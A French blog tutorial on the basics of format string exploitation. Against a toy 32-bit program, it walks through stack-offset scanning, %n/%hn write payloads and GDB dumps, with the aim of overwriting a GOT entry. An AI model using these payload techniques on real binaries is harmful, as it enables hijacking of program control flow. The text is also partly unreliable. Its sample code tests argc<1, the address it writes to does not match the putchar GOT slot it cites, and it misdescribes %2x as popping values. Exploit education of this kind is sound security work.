Exploitation – Format String, les bases

Les failles format string sont très particulières, leur exploitation peut s’avérer assez complexe.
Cet article présente les bases de l’exploitation d’une telle vulnérabilité.

Au départ, je pensais faire un article contenant aussi la partie exploitation d’une vuln, mais celle ci sera présenté dans un autre article.

Voici le code que nous allons exploiter :

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {

 if(argc<1) {
 printf( argv[1] );
 printf("\n");
 }
}

Ou se trouve la faille ?

Dans son comportement classique, printf récupère sur la pile les format modifier et les applique ensuite en utilisant les valeurs suivantes de la pile.
Dans le cas de l’utilisation directe de argv[1] sans utiliser de modifier, printf va chercher à interpréter le premier argument passé au programme.

Ainsi on maîtrise totalement le comportement de printf car aucun formatage des donnés n’est appliqué.

Lire en mémoire

On peux donc lire les adresses en mémoire grâce à un format modifier : %x ( cf printf ).

user@exploitLab32:~/FormatString$ ./vuln %x bffff724

On peux afficher plusieurs données en ajoutant d’avantages de %x, ce qui peut devenir rapidement fastidieux.
Pour accéder rapidement à la n-ième valeure on peut utiliser la syntaxe suivante :

%n\$x ( ou n represente la n-ième valeure )

L’objectif ici n’est pas de simplement lire les donnés mémoire.
Comme dans un buffer overflow on veux ici controler EIP.
Mais il faut tout d’abord trouver où on se trouve sur la pile.

user@exploitLab32:~/FormatString$ for((i=0;i<200;i++));do echo "Index $i" && ./vuln "AAAAAAAA%$i\$x" ; done | grep -B1 41414141
Index 122
AAAAAAAA41414141

La commande précédente va lire chaque octet puis lorsqu’elle a trouvé le pattern que nous lui avons passé elle nous affiche sa position.
Nous nous trouvons donc a 122 octet de la zone qui nous intéresse.

Ecrire en mémoire

Maintenant que nous savons comment lire n’importe quelle valeur en mémoire, il faut trouver comment pouvoir écrire.
Pour cela on va utiliser un autre format modifier : %n

Découvrons le comportement de ce modifier, pour cela j’ajoute cette ligne à mon code de base et je le compile via gcc :

printf("AAAAAA%n",0xdeadbeef)

Lorsque je lance le programme, il crash. Regardons avec GDB :

=> 0x8048459 <main+30> call 0x8048300 <printf@plt>
0x804845e <main+35>: add esp,0x10
0x8048461 <main+38>: cmp DWORD PTR [ebx],0x1
0x8048464 <main+41>: jle 0x8048487 <main+76>
0x8048466 <main+43>: mov eax,DWORD PTR [ebx+0x4]
Guessed arguments:
arg[0]: 0x8048520 ("AAAAAA%n")
arg[1]: 0xdeadbeef
arg[2]: 0xbffff6fc --> 0xbffff836 ("XDG_SESSION_ID=3")
arg[3]: 0x80484c1 (<__libc_csu_init+33>: lea eax,[ebx-0xf8])
arg[4]: 0xbffff660 --> 0x1
arg[5]: 0x0

On entre dans la fonction printf avec nos arguments.

EAX: 0xdeadbeef
EBX: 0xb7fcc000 --> 0x1b1db0
ECX: 0x804b00e --> 0x0
EDX: 0x4e ('N')
ESI: 0x6
EDI: 0x6
EBP: 0xbffff608 --> 0xbffff648 --> 0x0
ESP: 0xbffff120 --> 0xbffff133 --> 0xfff1c8ff
EIP: 0xb7e5e339 (<_IO_vfprintf_internal+8873>: mov DWORD PTR [eax],esi)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7e5e326 <_IO_vfprintf_internal+8854>: cmp DWORD PTR [ebp-0x4b4],0x0
0xb7e5e32d <_IO_vfprintf_internal+8861>: jne 0xb7e5e3ba <_IO_vfprintf_internal+9002>
0xb7e5e333 <_IO_vfprintf_internal+8867>: mov esi,DWORD PTR [ebp-0x450]
=> 0xb7e5e339 <_IO_vfprintf_internal+8873>: mov DWORD PTR [eax],esi
0xb7e5e33b <_IO_vfprintf_internal+8875>: mov eax,DWORD PTR [ebp+0x10]
0xb7e5e33e <_IO_vfprintf_internal+8878>: add eax,0x4
0xb7e5e341 <_IO_vfprintf_internal+8881>: mov DWORD PTR [ebp+0x10],eax
0xb7e5e344 <_IO_vfprintf_internal+8884>: jmp 0xb7e5c9bd <_IO_vfprintf_internal+2349>
[------------------------------------stack-------------------------------------]
0000| 0xbffff120 --> 0xbffff133 --> 0xfff1c8ff
0004| 0xbffff124 --> 0xb7fff918 --> 0x0
0008| 0xbffff128 --> 0x0
0012| 0xbffff12c --> 0xffffffb8
0016| 0xbffff130 --> 0xffffffb8
0020| 0xbffff134 --> 0xbffff1c8 --> 0x8048527 --> 0x6e ('n')
0024| 0xbffff138 --> 0xbffff6f0 --> 0x1
0028| 0xbffff13c --> 0x200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xb7e5e339 in _IO_vfprintf_internal (s=0xb7fccd60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xbffff638 "�����\204\004\b`���") at vfprintf.c:1631
1631 vfprintf.c: Aucun fichier ou dossier de ce type.

Ici le programme viens de crasher. Si on regarde quelle est la dernière instruction on se rend compte que c’est : mov DWORD PTR[eax],esi
Autrement dit :  » Ecrit la valeur de  esi dans la valeur pointée par eax ».
ESI contient 0x6, soit la longueur de la chaîne passé avant le modifier %n, EAX contient 0xdeadbeef, l’adresse que nous avions passé en argument.

Avec ce modifier on peut donc écrire ce que l’on veux, où on veux.

Maintenant que l’on sait cela, il faut trouver ou écrire.
Dans ce genre de cas, notre cible est souvent la même : la GOT (Global Offset Table) Je vous renvoie à cet article pour plus d’explications sur la GOT.
Désassemblons le binaire :

 804843b: 8d 4c 24 04 lea 0x4(%esp),%ecx
 804843f: 83 e4 f0 and $0xfffffff0,%esp
 8048442: ff 71 fc pushl -0x4(%ecx)
 8048445: 55 push %ebp
 8048446: 89 e5 mov %esp,%ebp
 8048448: 51 push %ecx
 8048449: 83 ec 04 sub $0x4,%esp
 804844c: 89 c8 mov %ecx,%eax
 804844e: 83 38 01 cmpl $0x1,(%eax)
 8048451: 7e 21 jle 8048474 <main+0x39>
 8048453: 8b 40 04 mov 0x4(%eax),%eax
 8048456: 83 c0 04 add $0x4,%eax
 8048459: 8b 00 mov (%eax),%eax
 804845b: 83 ec 0c sub $0xc,%esp
 804845e: 50 push %eax
 804845f: e8 9c fe ff ff call 8048300 <printf@plt>
 8048464: 83 c4 10 add $0x10,%esp
 8048467: 83 ec 0c sub $0xc,%esp
 804846a: 6a 0a push $0xa
 804846c: e8 af fe ff ff call 8048320 <putchar@plt>
 8048471: 83 c4 10 add $0x10,%esp
 8048474: b8 00 00 00 00 mov $0x0,%eax
 8048479: 8b 4d fc mov -0x4(%ebp),%ecx
 804847c: c9 leave
 804847d: 8d 61 fc lea -0x4(%ecx),%esp
 8048480: c3 ret
 8048481: 66 90 xchg %ax,%ax
 8048483: 66 90 xchg %ax,%ax
 8048485: 66 90 xchg %ax,%ax
 8048487: 66 90 xchg %ax,%ax
 8048489: 66 90 xchg %ax,%ax
 804848b: 66 90 xchg %ax,%ax
 804848d: 66 90 xchg %ax,%ax
 804848f: 90 nop

A l’adresse 0x804846c se trouve une fonction interessante : putchar.
A ce moment la vous vous demandez surement que fait ce putchar dans notre programme alors que l’on a jamais écrit cela. Et bien il faut dire merci a GCC et ses fonctions d’optimisations :).

Quoi qu’il en soit, il nous sera bien utile ce putchar ! Grace à la format string on va modifier son adresse par celle de notre choix, ce peut être un shellcode stocké dans une variable d’environmenent ou sur la pile ..

 


user@exploitLab32:~/FormatString$ objdump -R vuln

vuln: format de fichier elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a014 R_386_JUMP_SLOT putchar@GLIBC_2.0

L’adresse du pointeur sur putchar est 0x084a014, c’est à cette adresse que nous allons écrire.

Réouvrons GDB.

La première chose que l’on remarque c’est que notre précédent payload ( ./vuln AAAAAAAA%122\$x ) ne passe plus.
Ceci à cause de GDB et de ses variables d’environnement. Il faut donc retrouver l’emplacement de notre argument.


gdb-peda$ r AAAAAAA%135\$x
Starting program: /home/user/FormatString/vuln AAAAAAA%135\$x
AAAAAAA41414141

135 au lieu de 122.
Essayons maintenant de modifier le string formater :

gdb-peda$ r AAAAAAA%135\$n
Starting program: /home/user/FormatString/vuln AAAAAAA%135\$n

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0x7
ECX: 0xb7fcc000 --> 0x1b1db0
EDX: 0x0
ESI: 0xbfffecb0 --> 0xffffffff
EDI: 0xb7fccd60 --> 0xfbad2a84
EBP: 0xbffff0c8 --> 0xbffff5e8 --> 0xbffff628 --> 0x0
ESP: 0xbfffe170 --> 0xbffff6d4 --> 0xbffff80c ("/home/user/FormatString/vuln")
EIP: 0xb7e5bb79 (<printf_positional+8137>: mov DWORD PTR [eax],ebx)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7e5bb6d <printf_positional+8125>: mov ebx,DWORD PTR [ebp-0x44c]
0xb7e5bb73 <printf_positional+8131>: mov eax,DWORD PTR [ebx+eax*4]
0xb7e5bb76 <printf_positional+8134>: mov ebx,DWORD PTR [ebp+0x10]
=> 0xb7e5bb79 <printf_positional+8137>: mov DWORD PTR [eax],ebx
0xb7e5bb7b <printf_positional+8139>: jmp 0xb7e5a1c5 <printf_positional+1557>
0xb7e5bb80 <printf_positional+8144>: sub esp,0x8
0xb7e5bb83 <printf_positional+8147>: mov DWORD PTR [ebp-0x43c],ecx
0xb7e5bb89 <printf_positional+8153>: push 0x2b
[------------------------------------stack-------------------------------------]
0000| 0xbfffe170 --> 0xbffff6d4 --> 0xbffff80c ("/home/user/FormatString/vuln")
0004| 0xbfffe174 --> 0x0
0008| 0xbfffe178 --> 0x0
0012| 0xbfffe17c --> 0xbffff6e0 --> 0xbffff837 ("XDG_SESSION_ID=5")
0016| 0xbfffe180 --> 0x0
0020| 0xbfffe184 --> 0x0
0024| 0xbfffe188 --> 0x80484b1 (<__libc_csu_init+33>: lea eax,[ebx-0xf8])
0028| 0xbfffe18c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xb7e5bb79 in printf_positional (s=s@entry=0xb7fccd60 <_IO_2_1_stdout_>, format=format@entry=0xbffff829 "AAAAAAA%135$n", readonly_format=readonly_format@entry=0x0, ap=<optimized out>, ap_savep=0xbffff1ac,
done=0x7, nspecs_done=0x0, lead_str_end=0xbffff830 "%135$n", work_buffer=0xbffff1e8 "�", save_errno=0x0, grouping=0x0, thousands_sep=0xb7f75812 "") at vfprintf.c:2022
2022 vfprintf.c: Aucun fichier ou dossier de ce type.

Le programme crash car on essaye d’écrire à l’adresse 0x41414141
Remplaçons cette valeur par celle de putchar :

gdb-peda$ r $(python3 -c "print('AA'+'\x04\xa0\x04\x08'+'%135\$n')")

/!\ Pour éviter des heures de debug inutiles, sous Ubuntu 16.04 par défaut il n’y a pas de python2 et l’alias python=python3 n’existe pas non plus /!\
Une fois la fonction printf passée regardons si notre modifier à marché :


0x804845f <main+36>: call 0x8048300 <printf@plt>
=> 0x8048464 <main+41>: add esp,0x10
0x8048467 <main+44>: sub esp,0xc
0x804846a <main+47>: push 0xa
0x804846c <main+49>: call 0x8048320 <putchar@plt>
0x8048471 <main+54>: add esp,0x10
[------------------------------------stack-------------------------------------]
0000| 0xbffff610 --> 0xbffff82a --> 0xa0044141
0004| 0xbffff614 --> 0xbffff6d4 --> 0xbffff80d ("/home/user/FormatString/vuln")
0008| 0xbffff618 --> 0xbffff6e0 --> 0xbffff837 ("XDG_SESSION_ID=5")
0012| 0xbffff61c --> 0x80484b1 (<__libc_csu_init+33>: lea eax,[ebx-0xf8])
0016| 0xbffff620 --> 0xb7fcc3dc --> 0xb7fcd1e0 --> 0x0
0020| 0xbffff624 --> 0xbffff640 --> 0x2
0024| 0xbffff628 --> 0x0
0028| 0xbffff62c --> 0xb7e32637 (<__libc_start_main+247>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048464 in main ()
gdb-peda$ x/x 0x0804a004
0x804a004: 0x00000006

Bingo ! Nous avons modifié la valeur situé à l’adresse 0x0804a004 par celle de notre choix.

Ecrire ce que l’on veux

En vérité, nous n’avons pas totalement choisit ce qui serait écrit à l’adresse de putchar, 6 correspond à la longueur des caractères entrés
Ce que l’on veut, c’est écrire c’est une adresse mémoire, cependant ces adresses font 4 octets en 32bits, ce qui laisse présager des longs payloads avec cette technique d’écriture !

Heureusement pour nous, on peux utiliser un autre modifier %hn qui nous permet d’écrire sur 2 octets au lieu de 4.
A toute solution, un nouveau problème, c’est la joie des format string ..

En effet si je lance la commande suivante:

gdb-peda$ r $(python3 -c "print('AA'+'\x04\xa0\x04\x08'+'%135\$n')")
 [----------------------------------registers-----------------------------------]
EAX: 0x250804a0 
EBX: 0x6 
ECX: 0xb7fcc000 --> 0x1b1db0 
EDX: 0xbfffe170 --> 0xbffff6d4 --> 0xbffff80c ("/home/user/FormatString/vuln")
ESI: 0xbfffecb0 --> 0xffffffff 
EDI: 0xb7fccd60 --> 0xfbad2a84 
EBP: 0xbffff0c8 --> 0xbffff5e8 --> 0xbffff628 --> 0x0 
ESP: 0xbfffe170 --> 0xbffff6d4 --> 0xbffff80c ("/home/user/FormatString/vuln")
EIP: 0xb7e5be1b (<printf_positional+8811>: mov WORD PTR [eax],bx)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0xb7e5be0e <printf_positional+8798>: mov edx,DWORD PTR [ebp-0x44c]
 0xb7e5be14 <printf_positional+8804>: movzx ebx,WORD PTR [ebp+0x10]
 0xb7e5be18 <printf_positional+8808>: mov eax,DWORD PTR [edx+eax*4]
=> 0xb7e5be1b <printf_positional+8811>: mov WORD PTR [eax],bx
 0xb7e5be1e <printf_positional+8814>: jmp 0xb7e5a1c5 <printf_positional+1557>
 0xb7e5be23 <printf_positional+8819>: sub esp,0x8
 0xb7e5be26 <printf_positional+8822>: mov DWORD PTR [ebp-0x43c],ecx
 0xb7e5be2c <printf_positional+8828>: push 0x20
[------------------------------------stack-------------------------------------]
0000| 0xbfffe170 --> 0xbffff6d4 --> 0xbffff80c ("/home/user/FormatString/vuln")
0004| 0xbfffe174 --> 0x0 
0008| 0xbfffe178 --> 0x0 
0012| 0xbfffe17c --> 0xbffff6e0 --> 0xbffff837 ("XDG_SESSION_ID=5")
0016| 0xbfffe180 --> 0x0 
0020| 0xbfffe184 --> 0x0 
0024| 0xbfffe188 --> 0x80484b1 (<__libc_csu_init+33>: lea eax,[ebx-0xf8])
0028| 0xbfffe18c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xb7e5be1b in printf_positional (s=s@entry=0xb7fccd60 <_IO_2_1_stdout_>, format=format@entry=0xbffff829 "AA\004�\004\b%135$hn", readonly_format=readonly_format@entry=0x0, ap=<optimized out>, 
 ap_savep=0xbffff1ac, done=0x6, nspecs_done=0x0, lead_str_end=0xbffff82f "%135$hn", work_buffer=0xbffff1e8 "�", save_errno=0x0, grouping=0x0, thousands_sep=0xb7f75812 "") at vfprintf.c:2022
2022 vfprintf.c: Aucun fichier ou dossier de ce type.

On vois bien que le programme tente d’écrire à une adresse incorrecte ( eax )
Pour conserver notre offset de départ il faut, lorsque l’on ajoute des caractères dans argv[1], ajouter des caractères par paquets de 16 ( 32bits oblige )

Essayons en ajoutant ce fameux padding :

gdb-peda$ r AA$(python3 -c "print('\x04\xa0\x04\x08')")%135\$hn$(python3 -c "print('a'*15)")
gdb-peda$ x/x 0x0804a004
0x804a004: 0xb7ff0006

Yeah ! Nous avons écrit dans la partie basse !
Essayons d’écrire dans la partie haute :

 gdb-peda$ r AA$(python3 -c "print('\x04\xa0\x04\x08'+'\x06\xa0\x04\x08')")%135\$hn%136\$hn$(python3 -c "print('a'*20)")

La premiere addresse ne change pas, tout comme son modifier et les 15 ‘a’ que l’on a ajouté en padding.
On y ajoute une nouvelle addresse et un nouveau modifier (octets suivants) la taille de ces nouveaux paramètres est 11 (4+7) on ajoute donc 5 au padding pour respecter la règle de 16.

gdb-peda$ x/x 0x0804a004
0x804a004: 0x000a000a

Nous avons maintenant écrit dans la partie haute.

Dernière étape, écrire quelque chose d’utile, parce que la taille de l’argument précédant c’est pas vraiment ce qui nous donnera un shell..

Pour rappel, %n affiche le nombre de caractères avant lui, on pourrait ainsi mettre un certain nombre de caractères devant le modifier de telle manière que ce nombre de caractère une fois une fois convertie en hexadécimal corresponde à la valeur que l’on souhaitais avoir ..

 

Bon évidemment il y a plus malin, rappelez vous le %x, si on met %2x cela dépile 2 valeurs, %3x 3 valeurs ..
Il ne reste plus qu’a adapter le padding avec ces nouvelles instructions :


gdb-peda$ r AA$(python3 -c "print('\x04\xa0\x04\x08'+'\x06\xa0\x04\x08')")%500x%135\$hn%200x%136\$hn$(python3 -c "print('a'*10)")
gdb-peda$ x/x 0x0804a004
0x804a004: 0x02c601fe

Vérifions nos valeurs :


>>> int(0x01fe)
510
>>> int(0x02c6)
710

Damnation ! On voulais 500 et 200 ! Sauf que comme précisé juste avant, %n écrit le nombre de caractères le précédant, si on calcule bien ces nombres sont logiques,il suffit d’adapter le code en fonction.


gdb-peda$ r AA$(python3 -c "print('\x04\xa0\x04\x08'+'\x06\xa0\x04\x08')")%190x%136\$hn%300x%135\$hn$(python3 -c "print('a'*10)")
gdb-peda$ x/x 0x0804a004
0x804a004: 0x00c801f4


And voila ! On écrit maintenant ce que l’on veux, ou l’on veux.

 

Et je vais m’arrêter la pour cet article, toutes les bases nécessaires à l’exploitation d’une vulnérabilité sont présentés ici.

La suite bientôt avec un article sur l’exploitation réelle de cette vulnérabilité.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *